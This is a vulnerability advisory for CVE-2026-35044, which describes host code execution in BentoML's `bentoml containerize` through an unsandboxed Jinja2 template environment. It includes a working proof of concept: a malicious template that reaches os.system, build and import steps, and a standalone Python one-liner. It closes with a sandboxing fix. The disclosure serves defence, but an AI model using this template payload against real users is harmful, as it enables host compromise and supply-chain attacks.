CVE-2026-35044

Description

## Summary The Dockerfile generation function `generate_containerfile()` in `src/bentoml/_internal/container/generate.py` uses an unsandboxed `jinja2.Environment` with the `jinja2.ext.do` extension to render user-provided `dockerfile_template` files. When a victim imports a malicious bento archive and runs `bentoml containerize`, attacker-controlled Jinja2 template code executes arbitrary Python directly on the host machine, bypassing all container isolation. ## Details The vulnerability exists in the `generate_containerfile()` function at `src/bentoml/_internal/container/generate.py:155-157`: ```python ENVIRONMENT = Environment( extensions=["jinja2.ext.do", "jinja2.ext.loopcontrols", "jinja2.ext.debug"], trim_blocks=True, lstrip_blocks=True, loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True), ) ``` This creates an **unsandboxed** `jinja2.Environment` with two dangerous extensions: - `jinja2.ext.do` - enables `{% do %}` tags that execute arbitrary Python expressions - `jinja2.ext.debug` - exposes internal template engine state **Attack path:** 1. **Attacker builds a bento** with `dockerfile_template` set in `bentofile.yaml`. During `bentoml build`, `DockerOptions.write_to_bento()` (`build_config.py:272-276`) copies the template file into the bento archive at `env/docker/Dockerfile.template`: ```python if self.dockerfile_template is not None: shutil.copy2( resolve_user_filepath(self.dockerfile_template, build_ctx), docker_folder / "Dockerfile.template", ) ``` 2. **Attacker exports** the bento as a `.bento` or `.tar.gz` archive and distributes it (via S3, HTTP, direct sharing, etc.). 3. **Victim imports** the bento with `bentoml import bento.tar` - no validation of template content is performed. 4. **Victim containerizes** with `bentoml containerize`. The `construct_containerfile()` function (`__init__.py:198-204`) detects the template and sets the path: ```python docker_attrs["dockerfile_template"] = "env/docker/Dockerfile.template" ``` 5. **`generate_containerfile()`** (`generate.py:181-192`) loads the attacker-controlled template into the unsandboxed Environment and renders it at line 202: ```python user_templates = docker.dockerfile_template if user_templates is not None: dir_path = os.path.dirname(resolve_user_filepath(user_templates, build_ctx)) user_templates = os.path.basename(user_templates) TEMPLATES_PATH.append(dir_path) environment = ENVIRONMENT.overlay( loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True) ) template = environment.get_template( user_templates, globals={"bento_base_template": template, **J2_FUNCTION}, ) # ... return template.render(...) # <-- SSTI executes here, on the HOST ``` **Critical distinction**: Commands in `docker.commands` or `docker.post_commands` execute *inside* the Docker build container (isolated). SSTI payloads execute Python directly on the **host machine** during template rendering, *before* Docker is invoked. This bypasses all container isolation. ## PoC **Step 1: Create malicious template `evil.j2`:** ```jinja2 {% extends bento_base_template %} {% block SETUP_BENTO_COMPONENTS %} {{ super() }} {% do namespace.__init__.__globals__['__builtins__']['__import__']('os').system('id > /tmp/pwned') %} {% endblock %} ``` **Step 2: Create `bentofile.yaml` referencing the template:** ```yaml service: 'service:MyService' docker: dockerfile_template: ./evil.j2 ``` **Step 3: Attacker builds and exports:** ```bash bentoml build bentoml export myservice:latest bento.tar ``` **Step 4: Victim imports and containerizes:** ```bash bentoml import bento.tar bentoml containerize myservice:latest ``` **Step 5: Verify host code execution:** ```bash cat /tmp/pwned # Output: uid=1000(victim) gid=1000(victim) groups=... ``` The SSTI payload executes on the host during template rendering, before any Docker container is created. **Standalone verification that the Jinja2 Environment allows code execution:** ```bash python3 -c " from jinja2 import Environment env = Environment(extensions=['jinja2.ext.do']) t = env.from_string(\"{% do namespace.__init__.__globals__['__builtins__']['__import__']('os').system('echo SSTI_WORKS') %}\") t.render() " # Output: SSTI_WORKS ``` ## Impact An attacker who distributes a malicious bento archive can achieve **arbitrary code execution on the host machine** of any user who imports and containerizes the bento. This gives the attacker: - Full access to the host filesystem (source code, credentials, SSH keys, cloud tokens) - Ability to install backdoors or pivot to other systems - Access to environment variables containing secrets (API keys, database credentials) - Potential supply chain compromise if the victim's machine is a CI/CD runner The attack is particularly dangerous because: 1. Users may reasonably expect `bentoml containerize` to be a safe build operation 2. The malicious template is embedded inside the bento archive and not visible without manual inspection 3. Execution happens on the host, not inside a Docker container, bypassing all isolation ## Recommended Fix Replace the unsandboxed `jinja2.Environment` with `jinja2.sandbox.SandboxedEnvironment` and remove the dangerous `jinja2.ext.do` and `jinja2.ext.debug` extensions, which are unnecessary for Dockerfile template rendering. In `src/bentoml/_internal/container/generate.py`, change lines 155-157: ```python # Before (VULNERABLE): from jinja2 import Environment # ... ENVIRONMENT = Environment( extensions=["jinja2.ext.do", "jinja2.ext.loopcontrols", "jinja2.ext.debug"], trim_blocks=True, lstrip_blocks=True, loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True), ) # After (FIXED): from jinja2.sandbox import SandboxedEnvironment # ... ENVIRONMENT = SandboxedEnvironment( extensions=["jinja2.ext.loopcontrols"], trim_blocks=True, lstrip_blocks=True, loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True), ) ``` Additionally, review the second unsandboxed Environment in `build_config.py:499-504` which also uses `jinja2.ext.debug`: ```python # build_config.py:499 - also fix: env = jinja2.sandbox.SandboxedEnvironment( variable_start_string="<<", variable_end_string=">>", loader=jinja2.FileSystemLoader(os.path.dirname(__file__), followlinks=True), ) ```

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